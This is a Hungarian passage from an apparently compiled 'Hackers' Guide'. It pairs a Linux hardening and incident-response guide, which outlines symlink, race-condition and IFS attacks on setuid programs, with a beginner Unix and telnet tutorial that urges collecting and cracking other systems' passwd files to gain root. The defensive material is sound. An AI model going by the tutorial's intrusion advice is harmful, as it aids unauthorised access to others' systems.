kitalálható, tehát lehetséges a program indítása elõtt létrehozni azon a néven egy linket, amely egy másik file-ra mutat. Ez különösen setuid/setgid bites program, illetve több privilégiummal rendelkezõ felhasználó vagy a rendszer által futtatott program esetén veszélyes, mivel így a symlink segítségével olyan file módosítható, amelyhez a linket létrehozó felhasználónak normális esetben nem lenne joga. Az értelmesebb programok használják a TMPDIR környezeti változót is, ennek beállításával (pl. TMPDIR="$HOME/tmp" a /etc/profile-ba vagy a /etc/security/pam env.conf-ba), csökkenthetõ a veszély Ha egy programról kiderül, hogy hibás, upgradeljük vagy cseréljük le. 3.4 Race condition Ez a symlink attack kiterjesztése arra az esetre, amikor a program ellenõrzi, hogy létezik-e már az adott tmp állomány, illetve nem symlink-e, de nem megfelelõ módon nyitja meg (open használatakor az O EXCL flag nélkül) vagy rosszul
állítja be a hozáférési jogokat. Ekkor a file ellenõrzése és megnyitása közötti idõben 44 Hackers’ Guide létrehozhatunk ugyanazon a néven egy symlinket, amely egy általunk nem, de a program tulajdonosa/groupja ( setuid/setgid program esetén) vagy használója számára olvasható/írható file-ra mutat, így már nekünk is jogunk lesz azt módosítani, esetleg még a hozzáférési jogai is átíródnak. Solar Designer erre is írt patchet, bár ilyen jellegû hibák ellen hatásos védelem csak a megfontolt programírás és telepítés, illetve a symlink attack-nél említett TMPDIR környezeti változó beállítása lehet. 3.5 IFS (Inter Field Separator, mezõhatároló) megváltoztatása Az IFS az egymás után következõ karaktersorok (utasítások, paraméterek, stb.) elválasztására szolgál Ennek átírása setuid/setgid-es programok esetén használható ki, ha a program írója nem kellõ körültekintéssel használta a system() vagy az exec()
függvényhívásokat. Egy system("/bin/akarmi") függvényhívás, ha kiadtuk az "export IFS=/" utasítást, a következõképp hajtódik végre: "bin akarmi". Így tehát bárki elhelyezheti saját "bin" nevû programját a PATH-ban. Szerencsére ez nem egyszerû, mivel a PATH-ban lévõ könyvtárak egy mezei felhasználó számára általában nem olvashatók. 3.6 Jelszavak megválasztása Ne használjunk rövid vagy szótárból kikereshetõ szavakat és szóösszetételeket. Ugyancsak kerülendõ a usernév használata a jelszó részeként vagy az Egyszerûszó, illetve az egyszerûszó+egy két szám megoldás. Ezeket a variációkat percek, de legrosszabb esetben órák alatt dobja ki egy jelszófejtõ program amit érdemes néha lefuttatni), ha a password file rossz kezekbe kerül. A legtöbb jelenlegi rendszer már alapértelmezésben használ szótarakat és különféle algoritmusokat a megfelelõen bonyolult jelszó
kiválasztásához, így általában nem is fogadja el a felsoroltak egyikét sem. Felhasználóinkat is figyelmeztessük jelszavaik védelmére és arra, hogy accountjukat nem adják kölcsön senkinek. A fent említett okok miatt ajánlott a shadow password használata. Így /etc/passwd file - amely mindenki számára olvasható - nem tartalmaz jelszavakat, azokat a /etc/shadow file-ban tárolja a rendszer, hozzáférési joga pedig csak a root-nak van. 3.7 File-ok változásainak figyelése A legkomolyabb óvintézkedések mellett sem lehetünk biztosak, hogy nem lehet betörni szerverünkre. A behatoló viszont, - ha kellõen ügyes és nem rombolni akar nem hagy feltûnõ nyomokat, viszont készít magának egy kiskaput, hogy késõbb könnyedén hozzáférjen a gépünkhöz. Ez lehet egy megváltoztatott passwd file, esetleg egy átírt login, stb. Ezeket szûrhetjük ki, ha tripwire-t használunk, amely a file-ok változásaira figyelmeztet. Ajánlott az általa generált file-t
lemezre menteni és biztonságos helyen tárolni. Ha bármi gyanús dolog történik, elõvehetõ és a gépen lévõvel összehasonlítható. 3.8 PAM (Pluggable Authentication Module) Ez egy egységes authentikációs rendszer, feladata a felhasználók bejelentkezésével, memória és filerendszer használatával, valamint az authentikációs szolgáltatásokat nyújtó programokkal kapcsolatos beállítások kezelése. A felhasználókra vonatkozó beállításokat a /etc/security/ könyvtárban lévõ file-ok segítségével végezhetjük, a programokkal kapcsolatos config file-ok /etc/pam.d/ könyvtárban vannak. A részletes dokumentáció a /usr/doc/pam*/ alatt található. 45 Hackers’ Guide /etc/security/access.conf: formátuma: permission : users : origins permission: "+", ha engedélyezés, "-", ha tiltás users: user vagy group neve origins: hostnév, domain név ("."-tal kezdõdik), IP cím (alhálózati címnél "" a
végzõdés) vagy terminál azonosító Ezen kívül a 2. és a 3 mezõben használhatók a következõ operátorok: ALL: mindent helyettesít EXCEPT: kivételkezelés (pl. ALL EXCEPT root vagy ALL EXCEPT server.akarmihu) LOCAL: mindent helyettesít, ami nem tartalmaz "." karaktert például: -: lamer: ALL EXCEPT .akarmihu (azaz lamer csak az akarmihu domain-bõl léphet be) +: lamer: ALL EXCEPT .akarmihu (lamer mindenhonnan beléphet, kivéve az akarmi.hu domaint) /etc/security/limits.conf: formátuma: domain type item value domain: user neve, group neve (@group formában) vagy * (azaz minden) type: soft (azaz a limit valamekkora túllépése megengedett) vagy hard (a limitet nem lehet túllépni) item: core (core file max. mérete KB-ban), data (adatterület max mérete KBban), fsize (max file méret KB-ban), memlock (a locked-in-memory címterület max. mérete), nofile (egyszerre megnyitható file-ok max száma), rss (a tárban maradó rész max. mérete KB-ban),
stack (a stack max mérete KB-ban), cpu (max. CPU idõ percben), nproc (processzek max száma), as (címterület mérete), maxlogins (egyidõben ugyanazzal a névvel bejelentkezett felhasználók száma) value: az item értéke például: * hard core 0 (azaz a core file-ok max. mérete 0 KB) @student - maxlogins 4 (a student group-ba tartozó felhasználók egyszerre 4en léphetnek be) /etc/security/pam env.conf: formátuma: VARIABLE [DEFAULT=[value]] [OVERRIDE=[value]] VARIABLE: a környezeti változó neve DEFAULT: alapértelmezett érték beállítása VARIABLE változóra OVERRIDE: felülírja DEFAULT értékét, ha meg van adva 3.9 Események naplózása A gépen történõ események (belépés, kilépés, különbözõ kiszolgáló programokhoz intézett kérések) naplózása a rendszerbiztonság fontos eleme. A számunkra fontos log file-okat általában a /var/log/ könyvtár alatt találjuk. Ezek közül a messages, a secure, a spooler és a maillog az, ami
alapértelmezésben létezik. Tartalmuk általában a syslog() függvényhívás segítségével keletkezik A /etc/syslog.conf-ban beállítható, mit és hova szeretnénk logolni A "mit" nagyrészt 46 Hackers’ Guide csak attól függ, mennyi információt akarunk kapni a rendszer mûködésérõl. A "hova" azért fontos, mert egy betörés esetén a betörõ megváltoztathatja a logokat, ha azok a gépen vannak tárolva. Ha logjainkat biztonságban szereténk tudni, irányítsuk át õket nyomtatóra vagy egy másik gépre, ahol nincsenek helyi felhasználók és nem fut semmilyen szolgáltatás (mail, httpd, telnet, ftp, stb.), amit felhasználva a gép feltörhetõ. Az átirányításra a syslogd is kínál lehetõséget, de érdemes a kapcsolatot ssh-val forwardolni, így egy sniffer elõl is biztonságban vannak. 4. Kiszolgálók 4.1 tcp-wrapper Ezzel a wrapper-rel szûrhetõk és monitorozhatók az inetd-bõl indított (pop2, pop3, imap, r*, talk,
telnet, ftp, tftp, finger, stb.) és a hozzá fordított szerverprogramok által nyújtott hálózati szolgáltatások. A legtöbb Linux disztribúcióban megtalálható Használata egyszerû: a /etc/hosts.allow és a /etc/hostsdeny file-okban beállítható, hogy egy adott szolgáltatást honnan vagy honnan ne lehessen igénybe venni. Melegen ajánlott elõször tiltani (azaz "ALL: ALL" a /etc/hosts.deny-be) aztán engedélyezni azt, amit és akinek szükséges (a /etc/hosts.allow-ban): ftp: .engedélyezett domainhu pop-3: levelezõ.engedélyezett domainorg Ha tiltásnál nem az "ALL: ALL" opciót használjuk, érdemes használni az "ALL: UNKNOWN PARANOID" beállítást. A PARANOID beállításakor, ha a host neve nem egyezik a címével, a kapcsolatot eldobja. Ennek segítségével csökkenthetõ a DNS spoofing veszélye Az UNKNOWN használatakor a tcpd ellenõrzi, hogy egy ident kérdésre mi volt a kliens válasza. Ha UNKNOWN@akarmi, akkor megtagadja a
szolgáltatás használatát. Ha a kliens nem használ ident-et, akkor az opció figyelmen kívül marad 4.2 SSH (Secure Shell) Jelenleg a legfrissebb verzió az 1.226 vagy a 2012 (ssh2 protokoll) Letölthetõ szinte minden Linux-os ftp szerverrõl, illetve a készítõ, az SSH Communications honlapjáról. Érdemes használni már csak a szolgáltatásai miatt is. Képes kapcsolatokat forwardolni, így a távoli felhasználók több szolgáltatás használata esetén sem kommunikálnak kódolatlanul. Például: ssh -a -f -L port2:tavoli.gep:port1 tavoligep -l user perl -e sleep A távoli gépen X programokat indítva a DISPLAY változó értékét megváltoztatja a saját gépünk X konzoljának címére és automatikusan forwardolja a kapcsolatot. Az ssh helyettesítheti az rsh/rlogin parancsokat. File átvitelre ftp vagy rcp helyett használhatjuk az ssh scp parancsát is: scp forráskönyvtár/file célhost:célkönyvtár/ vagy több file és könyvtárak másolása esetén: scp -r
forráskönyvtár/* célhost:célkönyvtár/ Kiválthatjuk vele az rexec-et is a következõ módon: ssh hostnév parancs 47 Hackers’ Guide Lehetõség van a kulcsok központi elosztására, amely egy nagyobb cég hierarchikus szabályainak betartását is lehetõvé teszi. Minden kapcsolat kezdetekor azonosítja a másik oldalt, így csökken a DNS vagy az address spoofing veszélye. Korlátozott védelmet nyújt a man-in-the-middle jellegû támadások ellen, mivel a kapcsolat kezdetétõl kódoltan folyik a kommunikáció. A kapcsolat elrablása ellen ugyan nem véd, de ha az elkövetõ nem a kapcsolat kezdetekor lép be a vonalba, akkor érdemi információ birtokába nem juthat, hacsak nem ismeri mindkét fél kulcsait, amelyek a kódolás feloldásához szükségesek. Ezek azonban óránként újragenerálódnak és az ssh nem tárolja azokat file-okban. A kapcsolat kezdetekor jelez, ha az adott címmel még nem folytattunk kommunikációt, illetve szól, ha valami nincs
rendben vele (pl. a host nevéhez tartozó IP cím nem egyezik a tárolttal). Ha szeretnénk biztosak lenni, hogy illetéktelenek nem használják a szolgáltatást, a /etc/ssh/sshd config-ban (vagy a /etc/hosts.allow / hostsdeny-ben, ha az sshd tcpwrapper-hez lett fordítva) azt is beállíthatjuk, hogy honnan vagy honnan ne lehessen használni. 4.3 X biztonság Egy X-et futtató gépre X alól bejelentkezve lehetõségünk van ott programokat indítani a "-display gépünk címe:0" paraméter segítségével, így az alapértelmezett display-t (ami a 0:0, azaz a localhost-on az a terminál, ahol elsõnek indítottunk X-et) átírjuk a saját gépünk X konzoljára. Elõtte azonban ki kell adnunk gépünkön egy "xhost + szervernév" parancsot, hogy gépünk a szerver által kezdeményezett kapcsolatot elfogadja. Régebbi - és épp ezért nem biztonságos rendszereken - az "xhost +" volt az alapértelmezés, azaz bárki kezdeményezhetett kapcsolatot
gépünkre, az engedélyünk nélkül és így bármit írhatott/olvashatott a terminálunkról. Épp ezért ne használjuk így ezt a parancsot! Csakis az elõször említett verzió a biztonságos. Azonban még így is kódolatlanul megy át az információ a hálózaton, ezért célszerû a kapcsolatot SSH-val forwardoltatni. 4.4 Inetd Csak a szükséges szolgáltatásokat engedélyezzük. A /etc/inetdconf átnézése melegen ajánlott, itt mindent kommentezzünk ki, ami nem kell. Amit mindenképp ajánlott letiltani: finger, netstat, systat. Ezek a cracker-eknek fontos információkkal szolgálhatnak gépünkrõl. Ha nem használunk inetd-bõl futó szolgáltatást, ne indítsunk inetd-t. Ha mégis szükséges, használjunk inkább xinetd-t helyette, amely kisebb, biztonságosabb és kínál 1-2 hasznos plusz szolgáltatást is. 4.5 WWW kiszolgáló Eléggé elterjedtek Roxen Challenger vagy az Apache alapú szerverek. Mindkettõt megfelelõen sokan használják ahhoz, hogy a
felmerülõ hibák gyorsan kijavításra kerüljenek, a hibák leírását és a patcheket a biztonsággal foglalkozó listákon és fórumokon közölni szokták. A Roxen alapértelmezésben, az Apache a mod ssl kiegészítéssel képes SSL3 használatára. Ezt csak akkor tudjuk kihasználni, ha SSL3 képes böngészõnk van, ezért Netscape-hez célszerû a Fortify használata. Egy jó tanács: soha ne futtassuk root jogokkal a webszervert! Egy rosszul beállított rendszeren vagy hibás CGI scriptek használata esetén ez komoly gondokat 48 Hackers’ Guide okozhat. Az Apache alapértelmezésben nobody vagy wwwuser néven fut, Roxen használatakor a Global Variables menüpont alatt beállítható. 4.51 CGI scriptek Gondoljuk meg, mit és hogyan használunk. Egy rosszul megírt script komoly veszélyeket hordoz rendszerünkre nézve. Ha mások által írt scripteket használunk, mindig ellenõrizzük, mit is csinál az adott script valójában. Ha ez nem lehetséges, nézzünk
át néhány biztonsággal foglalkozó site-ot (lásd fent), nincs-e az adott scripttel kapcsolatban valami probléma. Ha saját magunk írunk scripteket, érdemes elolvasni elõtte egy-két kapcsolódó dokumentumot (lásd alább). Pár dolog, amire érdemes figyelni: - ha Perl-ben írunk scripteket, használjuk a -T opciót (taint), ez figyelmeztet a biztonsági hiányosságok egy részére; - form outputja ne legyen file vagy könyvtár név; - form-ból ne vegyünk át olyan adatokat, amelyek késõbb utasításként használhatók; - form adatait ellenõrzés nélkül ne adjuk át paraméterként (pl. mail-nek); - a system() és az exec() és open() hívásokkal körültekintõen járjunk el; - file jogosultság beállításokkal vigyázzunk. 4.6 DNS (Domain Name Service) Feladata a kiosztott hálózati (IP) címekhez rendelt nevekre (reverse name server funkciók) és az IP címekhez tartozó nevek (name server funkciók) való leképezése. Használjuk a bind 8-as
változatából a legfrissebbet (ez jelenleg a 8.2) Ez a hagyományos (4.* verziójú) bind-hez képest nyújt jó néhány hasznos funkciót. Ha valaki paranoid, használhat chroot-olt bind-et is. Ezzel megelõzhetõ, hogy ártó szándékú egyének egy frissen felfedezett hibát kihasználva adatokat szerezzenek meg vagy kárt okozzanak szerverünkön. 4.7 Levélkezelõ (MTA, Mail Transport Agent) Levélkezelõnek használjuk a Wietse Wenema által írt postfix-et vagy a qmail legújabb verzióját. Az elõbbi két MTA megfelelõen biztonságos és jól konfigurálható Az utóbbi mellett szól, hogy elég sokan használják, így a hibákra elõbb fény derül. A postfix még új, de felépítésébõl eredõen a biztonsági hibák veszélyét komolyan csökkenti. 4.8 POP3 szerver Lehetõleg olyan legyen, amelyik tudja az APOP, SSL vagy más kódolt átvitelt (pl. cucipop), mert enélkül a kommunikáció titkosítatlanul folyik. Persze ehhez megfelelõ kliens használata
szükséges (pl. fetchmail) 4.9 lpd (Line Printer Daemon) Csak akkor fusson, ha szükség van rá, de ebben az esetben korlátozzuk a használatra jogosult gépeket a /etc/hosts.lpd vagy a /etc/hosts.equiv beállításával A legújabbat tegyük fel, régebbi verziókban buffer overflow-t találtak. Helyettesíthetjük LPRng-vel, ami az lp csomag egy újraírt, biztonságosabb változata. 4.10 FTP szerver Csak indokolt esetben használjuk (az nem igazán indok, hogy a tisztelt felhasználó csak azt ismeri). 49 Hackers’ Guide Egész jó a pro-ftpd legújabb verziója (a régebbiekben buffer overflow volt. Értelmes módon be lehet állítani, ki mihez férjen hozzá, könnyû chroot-olni és egyebek. 4.11 Firewall szoftverek Segítségükkel lehetõségünk van a hálózati forgalmat szabályozni. Korlátozhatjuk szerverünk egyes portjainak vagy éppen a teljes szerver elérését, lehetõségünk van kitiltani egyes protokollokat (pl. ICMP) is, de lehetséges a csomagok
tartalma vagy a használt alkalmazási rétegbeli protokoll alapján való szûrés is. Packet filter firewall: A Linux-os firewall szoftverek közül eléggé elterjedt az ipfwadm, bár ez a 2.2* kernelekkel már nem mûködik, helyette az ipchains használatos. Az utóbbi sokkal több lehetõséget biztosít a forgalom szûrésekor, de mindkettõ a Linux kernel packet filter (csomagszûrõ) funkcióit használja ki, azaz protokollok, IP címek, illetve portok alapján filterezhetjük a forgalmat, illetve forwardolhatunk hálózati interface-ek között. Application level (proxy) firewall: Az ilyen funkciókat megvalósító programokkal (pl. tis) lehetséges az alkalmazási rétegben szûrni a csomagokat, azaz megoldható az adott alkalmazások által használt protokollok sajátosságain alapuló szûrés. A proxy firewall nem forwardol az interface-ek között, a megfelelõ portokon az adott alkalmazási protokoll kezelésére írt speciális programok fogadják a kéréseket.
Minden forgalom keresztülmegy rajtuk, így lehetõségük van a csomag tartalmának megváltoztatására is. 4.12 Rendszerellenõrzõ programok (security scanner-ek) Használatukkal az ismert hibák azonosíthatók a rendszerben. Figyelmeztet a hiányosságokra, hibás programokra. Részletesebb információt az adott program dokumentációjában találhatunk. Hogy csak néhányat említsek: NESSUS, ADMhack, mscan, SATAN, COPS. Megtalálhatók a COAST archívumban Használatukkor vigyázzunk, legtöbbjük portscan-t is csinál. 5. Egyéb fontos dolgok A legjobb védekezési technikák sem érnek sokat, ha nem vagyunk elég körültekintõek napi munkánk során. Hogy csak néhány rossz példát említsek: rootként vagy több jogosultsággal rendelkezõ felhasználó nevében futtatott X, netscape, lynx, irc, stb. Érdemes megfogadni a alábbi tanácsokat: - csakis a legszükségesebb munkákat végezzük root-ként, a napi munkára hozzunk létre egy privilégiumokkal nem
rendelkezõ accountot; - ismeretlen programokat soha ne installáljunk vagy futtassunk root-ként, amíg nem vagyunk biztosak, hogy nem tartalmaz kártékony részeket; - a root jelszót soha ne adjuk meg senkinek, ne írjuk fel; - jelszavakat és egyéb fontos információt soha ne küldjünk kódolatlan levélben, használjunk PGP-t (Pretty Good Privacy) vagy GPG-t (GNU Privacy Guard) a titkosításhoz; - root konzolt ne hagyjunk ott, jelentkezzünk ki vagy lock-oljuk (pl. "vlock -a"); - több gépen ne használjuk ugyanazokat a jelszavakat, de legfõképp a root password ne legyen egyforma; - mindig olvassuk a logokat! Ha valaki próbálkozik, annak általában nyoma marad. Persze ezeket fel is kell ismerni. Nyom lehet pl a többszöri belépési kísérlet adott 50 Hackers’ Guide hostról vagy accounton, daemonok érdekes hibaüzenetei, kapcsolódási kísérletek gyanús címekrõl, stb. Ha ilyet észlelünk, a próbálkozó hostot azonnal tiltsuk ki minden
szolgáltatásból! A legjobb megoldás, ha a firewall-ban tiltjuk ki, ha ez nem lehetséges, akkor tegyük az /etc/hosts.deny-be a címet Ha ez megvan, érdemes tájékoztatni a kitiltott gép adminisztrátorát. 6. Ha már megtörtént a baj A betörés észlelése után azonnal húzzuk le a hálózatról a gépet! Aztán jöhet a rendszerfile-ok átnézése a tripwire log alapján. Minden megváltozott binárist le kell cserélni, config file-okat, firewall rule-okat felülvizsgálni. Gyakran megváltoztatott file-ok: binárisok: login, su, netstat, ps, who, stb. config file-ok: /etc/passwd, /etc/group, /etc/shadow, /etc/securetty, /etc/ssh/sshd config, /etc/hosts*, name szerver config file-ok, stb. Töröljünk minden gyanús, nem a rendszerhez tartozó file-t. Ajánlott az összes olyan könyvtár átnézése, ahonnan program futtatható. (A /dev-et se hagyjuk ki!) Ellenõrizzük az összes setuid/setgid jogosultságot használó programot. Minden log-ot mentsünk. Késõbb
ezekbõl talán visszanyerhetõ némi információ a betörõ kilétérõl vagy a támadó gép címérõl, esetleg a feltört szolgáltatásról vagy a törés módjáról. Ezeket az információkat célszerû a security-l listán közölni, hogy másoknál ne tudjon próbálkozni az illetõ. A lista zárt, feliratkozni a majordomo@sunserv.kfkihu címen lehet subscribe security-l sajátnév szöveggel a levél törzsében. Ezután jöhet az összes jelszó megváltoztatása, az userek értesítése. A log-ok elemzése során a gyanús címeket azonnal tiltsuk ki ( /etc/hosts.deny vagy firewall), majd tájékoztassuk adminisztrátoraikat, mivel lehetséges, hogy az õ gépüket is ugródeszkaként használta valaki. Ha már biztosak vagyuk abban, hogy mindent átnéztünk, nézzük át még egyszer a rendszert. Ha még mindig rendben van, visszakapcsolhatjuk a hálózatra 7. Amit érdemes elolvasni Üzembiztonság Linux Security-Audit FAQ WWW Security FAQ
Security Code Review Guidelines FAQ: Network Intrusion Detection Systems. Linkek néhány érdekesebb oldalra 8. Használt fogalmak definíciója ARP: Address Resolution Protocol. Feladata az adott címhez tartozó hardver cím lekérdezése a másik géptõl a következõ módon (kicsit egyszerûsítve): küld egy broadcast üzenetet, amelyben elküldi azt a címet, amelyhez tartozó hardver címet tudni akarja. A broadcast üzenet lényege, hogy minden 51 Hackers’ Guide interface elfogadja a helyi hálózaton, de csak az fog válaszolni, akinek a címét az üzenet tartalmazza. 52 ARP cache: az ARP által lekérdezett hadver címek egy elõre definiált ideig itt tárolódnak, ezért nem kell minden alkalommal újra lekérdezni õket. certificate: a hálózaton erre felhatalmazott szerverek által kiadott tanúsítvány. Ha egy kliens kapcsolatot kezdeményez, a szerver elküldi a certificate-jét, amit a kliens ellenõriz. Ha rendben találja,
megkezdõdhet az információ átvitele. chroot: használatával egy program bezárható egy adott könyvtárba. Ha jól állítjuk be, nincs lehetõsége, hogy a a megadott könyvtáron kívül mást is lásson. exploit: biztonsági hiba kihasználása, általában a kihasználására írt programot illetik e névvel. hardver cím: a hálózati interface fizikai címe. Ethernet hálózatok esetén egy 32 bites hexa szám, amely alapesetben minden ethernet interface-nél különbözõ. ICMP: Internet Control Message Protocol. A hálózatba kapcsolt intelligens eszközök - a hálózattal kapcsolatos - üzenetcseréjére találták ki. ident: a kapcsolatot kezdeményezõ felhasználó nevének azonosítására szolgál. noexec: a mount által használt opció. Az így felmountolt filerendszeren lévõ programok nem futtathatók. nosuid: a mount által használt opció. Az így felmountolt filerendszerben nincs hatása a setuid/setgid bitnek.
promiscuous mód: az ethernet interface olyan módja, amelyben nem csak a neki címzett csomagokat fogadja el, hanem mindent. routing tábla: megadja egy adott célcím esetén az eléréséhez szükséges útvonalat. rsh, rcp, rexec, rlogin: a kernel RPC (Remote Procedure Call) szolgáltatását használják. Az elsõ egy shell-t hív a távoli gépen, az második file-okat másol a két gép között, a harmadik távoli programfuttatást tesz lehetõvé, az utolsó beléptet a távoli gépre. A hálózaton kódolatlanul kommunikálnak, így az átvitt információ lehallgatható. setuid/setgid: a futtatható binárisokon lévõ "s" bit. Ha a file tulajdonosának (setuid), illetve group-jának (setgid) jogai között van, akkor az adott program futtatója a file userének/groupjának jogaival rendelkezik a program futásának ideje alatt. A programok betöltése elõtt a linker kitisztítja az environment veszélyes részeit, lefutásuk után pedig az
általuk használt memóriaterületeket. SNMP: Simple Network Management Protocol. Az intelligens hálózati eszközök távoli managementjének megkönnyítésére készült protokoll. Hackers’ Guide spoof(ing): általában a hálózati kommunikáció valamely részébe harmadik fél részérõl történõ beavatkozás. syslogd: a rendszer és az egyes programok üzeneteinek kezelésére írt daemon. TCP: Transmission Control Protocol. A TCP réteg felelõs a csomagok nagy részének veszteségmentes átviteléért. Kapcsolat-orientált protokoll, azaz várja az elküldött csomag nyugtázását. Ha ezt nem kapja meg egy meghatározott idõintervallumon belül, újraadja a csomagot. UDP: User Datagram Protocol. A feladata hasonló, mint a TCP-nek, de nem kapcsolat-orientált. visszatérési cím: (return address) a következõ végrehajtandó utasítás címe. world-writable: a "t" (sticky) bit be van állítva a könyvtáron
vagy bárki számára írható/olvasható. A "t" bit jelentése: mindenki számára írható/olvasható, de mindenkinek csak a saját tulajdonú file-okhoz vannak jogai. Copyright Srágli Attila (sragli@choraii.com) Köszönet Bedõ Sándornak (bsanyi@valerie.infeltehu) építõ jellegû hozzászólásaiért. A dokumentum eredeti formájában szabadon terjeszthetõ a copyright megjelölésével. * Unix parancsok, amelyeket ismerned kell Csak néhány alapparancs van, amelyet meg kell tanulnod használni, és néhány unixos program, amelyek segítenek majd bejelentkezni a számítógépre. Szerezz valahonnan egy ingyenes shellt, hogy kipróbálhasd ezeket az alapparancsokat (pl.http://sdflonestarorg-on lehet ingyen regisztráltatni, de itt a hálózati eszközöket nem használhatod, csak ha fizetsz). 1A rész - Alapparancsok Remélhetoleg már megismerkedtél a DOS-szal, az segíthet egy kicsit, és feltételezem a továbbiakban. DOS parancsok, amelyeket eloször
használtál, és megfelelojük az Unixban: /NE FELEJTSD: a Unix megkülönbözteti a kis- és nagybetuket, tehát ha itt kisbetuket használok, neked is azt kell, és ha szóközt használok, neked is kell. A DOS egy csomó dolgot elnéz neked, de a Unix nem!/ DIR/W = ls DIR = ls -l DIR/AH = ls -al 53 Hackers’ Guide a fentiben AH= hidden, vagyis rejtett -al= beleértve a rejtett fájlokat és a nem rejtetteket is RENAME = mv ATTRIB = chmod MD = mkdir RD = rmdir DEL = rm COPY = cp Ezek az alapparancsok, javaslom, hogy olvasd el mindegyikhez a man-oldalakat a Unixos shelledben. Ezt a "man parancs" begépelésével érheted el (az idézojelek nem kellenek). Minden parancshoz kapcsolók tartoznak, például cp -R a fájlok és könyvtárak másolásához. Tehát azt kell írnod, hogy "man cp" az összes kapcsoló kiírásához, amelyeket a cp paranccsal használhatsz. cd (és utána enter) mindig a home-könyvtáradba visz cp fájlnév $HOME a fájlt a
home-könyvtáradba másolja cd ~felhasználónév az adott felhasználó könyvtárába visz, ha van jogod oda belépni pwd (és utána enter) megmutatja, melyik könyvtárban vagy éppen. 1B rész - Telnet A telnet egy parancs, amelyet a shelledben használhatsz, vagy egy .exe fájl Windows, OS/2 és egyéb operációs rendszerekben, és arra használhatod, hogy más számítógépekhez csatlakozz a neten. Más programok is vannak, amelyeket tanulmányoznod kell majd, mint pl. FTP, vagy rlogin, de most a telnetet fogjuk használni. Úgy tudod használni a telnetet, ha tudod az IP-címét vagy a hostnevét a számítógépnek, amelyhez csatlakozni akarsz vagy be akarsz jelentkezni. A következoképpen muködik: Telnet netcom.com vagy telnet 206.1464356 Most bejelentkezünk: telnet machine.com kis ido elteltével. Connected to machine.com Linux 2.028 (machinecom) (ttyp0) machine login:username password:####### bash$ Az utóbbi prompt máshogy nézhet ki, de mi ezt fogjuk használni,
mint példa. 54 Hackers’ Guide Vegyük észre, hogy fölötte megjelenik az operációs rendszer neve, amikor megkapod a login promptot. Ezt felhasználhatod, amikor nagy gyujteményed van passwd fájlokból. Még mielott feltörnéd oket, rendezd oket operációs rendszer szerint úgy, hogy betelnetelsz a rendszerekre és megnézed, milyen verziót futtatnak. Más módok is vannak erre, de maradjunk még egy kicsit ennél a telnetnél. telnet domain.namecom, ezután megnézed, mi fut rajtuk, leírod és ctrl+] -t nyomsz hogy kilépj a kapcsolatból. Most minden linux passwd fájlodat másold be egy fájlba, amit eloször fogsz feltörni. Amire szükségünk van, az egy valós account a rendszerhez, és már majdnem biztosak vagyunk benne, hogy root-jogunk lesz a rendszerhez! Túl sok lyuk van a linuxban ahhoz, hogy ne higgyük azt, hogy legalább egyet sikerül majd feltörnünk, tehát folytassuk a munkát, hogy beléphessük a hackelés csodálatos világába. :) Unixos
fájl-jogosultságok bash$ cd /tmp bash$ ls -l total 783 -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens Eloször is vegyük észre, hogy / jelet és nem jelet használtunk a tmp könyvtárba váltáshoz. Az Unix a / jelet használja a root-könyvtár eléréséhez, tehát pont fordítva, mint a DOS-ban. "ls -l"-t használtunk a hosszú könyvtárlistához Ha csak "ls"-t írtunk volna, ezt kaptuk volna: bash$ ls 19067haa filter.14428 pop3a13598 pop3a13600 screens Ebbol nem sokat látunk, tehát a legtöbb esetben "ls -al" -t fogunk írni, hogy minden rejtett fájlt is lássunk, ezek mind "."-tal (ponttal) kezdodnek bash$ ls -al total 794 drwxrwxrwt 4 root root 8192 Jan 25 23:05 . drwxr-xr-x 22 root root 1024 Dec 28 18:07 . -rw-r--r-- 1
berry users 6 Jan 25 23:05 .pinetemp000 drwxr-xr-x 2 berry users 1024 Jan 25 23:05 .test -rwx------ 1 wood users 1 Jan 25 18:28 19067haa -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 -rw------- 1 rhey19 root 395447 Jan 24 02:59 pop3a13598 -rw------- 1 rhey19 root 395447 Jan 24 03:00 pop3a13600 drwxr-xr-x 4 root root 1024 Jan 12 13:18 screens A .pinetemp000 egy rejtett fájl, és a test egy rejtett könyvtár -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428 Most megtanuljuk a jogosultságokat, felhasználókat és csoportokat. 55 Hackers’ Guide A sor elején vannak a fájl-jogosultságok. Utána következik, hogy ki a fájl tulajdonosa, majd pedig a csoport, amelyhez a fájl tartozik. A fájl-jogosultságok három különbözo csoportba vannak rendezve. Ha a sor d-vel kezdodik, az egy könyvtár Ha nincs d, akkor egy fájl. -rw-r--r-- 1 berry mail 1 Jan 16 12:38 filter.14428|| | |--------> Others = mindenki más hozzáférési jogai, aki nem tulajdonos és nincs a
csoportban.|| |------------> Group = a csoport hozzáférési jogai||----------------> User = a tulajdonos hozzáférési jogai|-----------------> ez jelzi, hogy könyvtárról van szó -rw-r--r--|| | |--------> Mások csak olvashatják a fájlt|| |------------> A csoport csak olvashatja a fájlt||----------------> A tulajdonos olvashatja és írhatja a fájlt|-----------------> Ez nem könyvtár -rwxrwxr-x|| | |--------> Mások olvashatják és futtathatják a fájlt|| |------------> A csoport olvashatja, írhatja és futtathatja a fájlt||----------------> A tulajdonos olvashatja, írhatja és futtathatja a fájlt|------------------> Nem könyvtár A DOS-ban a fájlnak .exe, com vagy bat kiterjesztéssel kell rendelkeznie, hogy futtatható legyen, de a Unixban csak az x-kapcsolót kell beállítanunk a megfelelo oszlopban. Ezeket a jogosultságokat megváltoztathatod, ha te vagy a fájl tulajdonosa, vagy root-jogod van. chmod oug+r fájlnév
